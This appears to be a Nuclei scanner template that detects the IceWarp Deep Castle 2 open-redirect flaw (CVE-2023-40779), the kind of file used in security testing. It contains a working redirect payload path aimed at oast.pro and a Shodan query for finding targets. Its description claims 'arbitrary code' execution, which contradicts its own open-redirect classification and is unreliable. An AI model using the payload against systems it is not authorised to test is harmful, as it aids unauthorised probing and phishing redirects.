id: CVE-2023-40779 info: name: IceWarp Mail Server Deep Castle 2 v.13.0.1.2 - Open Redirect author: r3Y3r53 severity: medium description: | An issue in IceWarp Mail Server Deep Castle 2 v.13.0.1.2 allows a remote attacker to execute arbitrary code via a crafted request to the URL. reference: - https://medium.com/@muthumohanprasath.r/open-redirection-vulnerability-on-icewarp-webclient-product-cve-2023-40779-61176503710 - https://nvd.nist.gov/vuln/detail/CVE-2023-40779 - https://medium.com/%40muthumohanprasath.r/open-redirection-vulnerability-on-icewarp-webclient-product-cve-2023-40779-61176503710 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-40779 cwe-id: CWE-601 epss-score: 0.00647 epss-percentile: 0.77 cpe: cpe:2.3:a:icewarp:deep_castle_g2:13.0.1.2:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: icewarp product: deep_castle_g2 shodan-query: title:"IceWarp" tags: cve,cve2023,icewarp,redirect http: - method: GET path: - "{{BaseURL}}/%5coast.pro/%2f%2e%2e" matchers-condition: and matchers: - type: regex part: header regex: - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$' - type: status status: - 302 # digest: 4a0a00473045022064b94b3a35f1ea92e3ec172463dca14dd27e61289e08a0370744daa896872a34022100e841b71352b9d12cc644cb28bd848d137a1ba0929ff960162d9d605717ff5af0:922c64590222798bb761d5b6d8e72950